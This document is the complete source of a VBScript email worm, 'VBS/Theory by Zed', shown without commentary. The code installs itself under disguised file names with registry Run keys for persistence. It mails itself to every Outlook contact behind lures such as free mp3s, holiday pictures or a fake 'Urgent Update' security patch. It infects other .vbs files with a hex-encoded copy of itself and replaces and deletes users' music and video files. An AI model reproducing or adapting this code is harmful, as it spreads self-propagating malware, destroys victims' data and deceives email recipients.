' Theory by Zed
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set wsc = CreateObject("WScript.Shell")
Randomize
Set RndFolder = fso.GetSpecialFolder(Int(3 * Rnd))
Set G = fso.GetFile(WScript.ScriptFullName)
Set SysDir = fso.GetSpecialFolder(1)
Randomize
Randomize
For RC = 1 To Int((Rnd * 11 + 1))
R1 = R1 & Chr(Int(Rnd * 26 + 97))
Next
If LCase(SysDir) = "c:\windows\system" Then
WormFullName = (fso.GetSpecialFolder(1) & "\Runmsdsk32.vbs")
WormRegistryKey = ("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Runmsdsk32")
WormRegistryValue = ("Wscript.exe " & WormFullName & " %1")
WormFName = "Runmsdsk32.vbs"
G.Copy (WormFullName)
wsc.RegWrite WormRegistryKey, WormRegistryValue
G.Copy (fso.GetSpecialFolder(1) & "\SiteList.vbs")
OS = Win9x
ElseIf LCase(SysDir) = "c:\winnt\system32" Then
WormFullName = (fso.GetSpecialFolder(0) & "\Winnt32.vbs")
WormRegistryKey = ("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Winnt32")
WormRegistryValue = ("Wscript.exe " & WormFullName & " %1")
WormFName = "Winnt32.vbs"
G.Copy (WormFullName)
wsc.RegWrite WormRegistryKey, WormRegistryValue
G.Copy (fso.GetSpecialFolder(1) & "\Jokes.vbs")
OS = WinNT
ElseIf LCase(SysDir) = "c:\windows\system32" Then
WormFullName = (RndFolder & "\" & R1 & ".vbs")
WormRegistryKey = ("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Runxpdsk32")
WormRegistryValue = ("Wscript.exe " & WormFullName & " %1")
WormFName = R1 & ".vbs"
G.Copy (WormFullName)
wsc.RegWrite WormRegistryKey, WormRegistryValue
G.Copy (fso.GetSpecialFolder(1) & "\Confidential.vbs")
OS = WinXP
Else
WormFullName = (RndFolder & "\Runmnt32.vbs")
WormRegistryKey = ("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Runmnt32")
WormRegistryValue = ("Wscript.exe " & WormFullName & " %1")
WormFName = "Runmnt32.vbs"
G.Copy (WormFullName)
wsc.RegWrite WormRegistryKey, WormRegistryValue
G.Copy (fso.GetSpecialFolder(1) & "\HolidayPics.vbs")
End If
wsc.RegWrite "HKEY_CURRENT_USER\Software\Theory\Theory", "VBS/Theory by Zed"
UserName = wsc.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner")
If UserName <> "" Then UserName = PCOwner
Set OutlookApp = CreateObject("Outlook.Application")
Set GNS = OutlookApp.GetNameSpace("MAPI")
For List1 = 1 To GNS.AddressLists.Count
CountLoop = 1
For ListCount = 1 To GNS.AddressLists(List1).AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
WriteEmailSent = wsc.RegRead("HKEY_CURRENT_USER\Software\Theory\Theory\RecordContacts\" & GNS.AddressLists(List1).AddressEntries(CountLoop))
If WriteEmailSent = "" Then
OutlookEmail.Recipients.Add (GNS.AddressLists(List1).AddressEntries(CountLoop))
If OS = Win9x Then
EmlSubject = "Hey " & GNS.AddressLists(List1).AddressEntries(CountLoop) & "!"
EmlText = GNS.AddressLists(List1).AddressEntries(CountLoop) & "! Get free mp3s from the web site that i go to!" & vbCrLf _
& "I can get almost any music that I want, just look at all the cool sites that I went to in the attachments." & vbCrLf _
& vbCrLf & "Bye"
EmlAttachment = fso.GetSpecialFolder(1) & "\SiteList.vbs"
Else
If OS = WinNT Then
EmlSubject = "Hello " & GNS.AddressLists(List1).AddressEntries(CountLoop) & "!"
EmlText = "Have fun with these great jokes!" & vbCrLf & vbCrLf & PCOwner
EmlAttachment = fso.GetSpecialFolder(1) & "\Jokes.vbs"
Else
If OS = WinXP Then
EmlSubject = "Here is that file you wanted, " & GNS.AddressLists(List1).AddressEntries(CountLoop) & "."
EmlText = "This is the file you wanted - don't let anyone else see it!" & vbCrLf & vbCrLf & PCOwner
EmlAttachment = fso.GetSpecialFolder(1) & "\Confidential.vbs"
Else
EmlSubject = "Check this out, " & GNS.AddressLists(List1).AddressEntries(CountLoop) & "!"
EmlText = "Hello " & GNS.AddressLists(List1).AddressEntries(CountLoop) & "," & vbCrLf _
& vbCrLf & "check out these pictures of my last holiday!" & vbCrLf & vbCrLf & "Dont get jealous!" & vbCrLf & vbCrLf & PCOwner
EmlAttachment = fso.GetSpecialFolder(1) & "\HolidayPics.vbs"
End If
End If
End If
If Day(Now) = 8 And Month(Now) = 8 Then
Randomize
Select Case Int((6 * Rnd) + 1)
Case 1: RndAttachment = "SecurityUpdate.vbs"
Case 2: RndAttachment = "Update.vbs"
Case 3: RndAttachment = "UpdateSecurity.vbs"
Case 4: RndAttachment = "UpdateInstaller.vbs"
Case 5: RndAttachment = "UpdateSetup.vbs"
Case 6: RndAttachment = "Readme.vbs"
End Select
G.Copy (fso.GetSpecialFolder(1) & "\" & RndAttachment)
EmlSubject = "Urgent Update!"
EmlText = GNS.AddressLists(List1).AddressEntries(CountLoop) & "," & vbCrLf _
& vbCrLf & "Your computer will need this update to protect your computer from new email" & vbCrLf _
& "viruses. I installed this update and it works fine." & vbCrLf & vbCrLf & "Thanks."
EmlAttachment = fso.GetSpecialFolder(1) & "\" & RndAttachment
End If
OutlookEmail.Subject = EmlSubject
OutlookEmail.Body = EmlText
OutlookEmail.Attachments.Add (EmlAttachment)
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Send
wsc.RegWrite "HKEY_CURRENT_USER\Software\Theory\Theory\RecordContacts\" & GNS.AddressLists(List1).AddressEntries(CountLoop), GNS.AddressLists(List1).AddressEntries(CountLoop)
Else
End If
CountLoop = CountLoop + 1
Next
Next
Set OutlookApp = Nothing
Set GNS = Nothing
Set JC = fso.OpenTextFile(WScript.ScriptFullName, 1)
WormFileReadAllText = JC.ReadAll
JC.Close
E1()
Sub E1()
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
For Each SeekNetCopyDrives In a.Drives
If SeekNetCopyDrives.DriveType = 2 _
Or SeekNetCopyDrives.DriveType = 3 Then
E3 (SeekNetCopyDrives.Path & "\")
End If
Next
End Sub
Sub E2(FileTarget)
On Error Resume Next
Set otf = a.GetFile(WScript.ScriptFullName)
ra = otf.ReadAll
otf.Close
Set a = CreateObject("Scripting.FileSystemObject")
Set f = a.GetFolder(FileTarget)
For Each n In f.Files
If (LCase(a.GetExtensionName(n.Path))) = "vbs" Or (LCase(a.GetExtensionName(n.Path))) = "vbe" Then
Set openvbs = a.OpenTextFile(n.Path, 1)
vbsra = openvbs.ReadAll
openvbs.Close
If (InStr(1, vbsra, "' Theory by Zed") = False) Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set JC = fso.OpenTextFile(WScript.ScriptFullName, 1)
WormFileReadAllText = JC.ReadAll
JC.Close
Set WriteWormCode = fso.OpenTextFile(n.Path, 8, True)
WriteWormCode.WriteLine vbCrLf & "' Theory by Zed" & vbCrLf & "Tz = " & Chr(34) & Chr(34)
For i = 1 To Len(WormFileReadAllText)
Tz = Mid(WormFileReadAllText, i, 1)
Tz = Hex(Asc(Tz))
If Len(Tz) = 1 Then
Tz = "0" & Tz
End If
Gz = Gz + Tz
If Len(Gz) = 110 Then
WriteWormCode.WriteLine "Tz = Tz + """ + Gz + Chr(34)
Gz = ""
End If
If Len(WormFileReadAllText) - i = 0 Then
WriteWormCode.WriteLine "Tz = Tz + """ + Gz + Chr(34)
Gz = ""
End If
Next
WriteWormCode.WriteLine "Set fso = CreateObject(""Scripting.FileSystemObject"")"
WriteWormCode.WriteLine "Set wsc = CreateObject(""WScript.Shell"")"
WriteWormCode.WriteLine "MC = CM(Tz)"
WriteWormCode.WriteLine "Set WriteTheory = fso.CreateTextFile(fso.GetSpecialFolder(1) & ""\Rundskcp32.vbs"", True)"
WriteWormCode.WriteLine "WriteTheory.Write MC"
WriteWormCode.WriteLine "WriteTheory.Close"
WriteWormCode.WriteLine "wsc.RegWrite ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSTheory"", ""Wscript.exe "" & fso.GetSpecialFolder(1) & ""\Rundskcp32.vbs %1"""
WriteWormCode.WriteLine "Function CM(CN)"
WriteWormCode.WriteLine "For GC = 1 To Len(CN) Step 2"
WriteWormCode.WriteLine "CM = CM & Chr(""&h"" & Mid(CN, GC, 2))"
WriteWormCode.WriteLine "Next"
WriteWormCode.WriteLine "End Function"
WriteWormCode.Close
End If
End If
MusicExt = (LCase(a.GetExtensionName(n.Path)))
If MusicExt = "mp3" Or MusicExt = "mp2" Or MusicExt = "mp3" _
Or MusicExt = "mpg" Or MusicExt = "mpe" _
Or MusicExt = "mpeg" Or MusicExt = "avi" Or MusicExt = "mov" Then
G.Copy (n.Path & ".vbs")
Set OriginalFile = a.GetFile(n.Path)
OriginalFile.Delete
End If
Next
End Sub
Sub E3(FileTarget)
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
Set f = a.GetFolder(FileTarget)
For Each n In f.SubFolders
E2 (n.Path)
E3 (n.Path)
Next
End Sub
Do
If Not fso.FileExists(WormFullName) Then
fso.CopyFile WScript.ScriptFullName, WormFullName
End If
ReadRegistry = wsc.RegRead(WormRegistryKey)
If Not ReadRegistry = WormRegistryValue Then
wsc.RegWrite WormRegistryKey, WormRegistryValue
End If
Loop
' Theory by Zed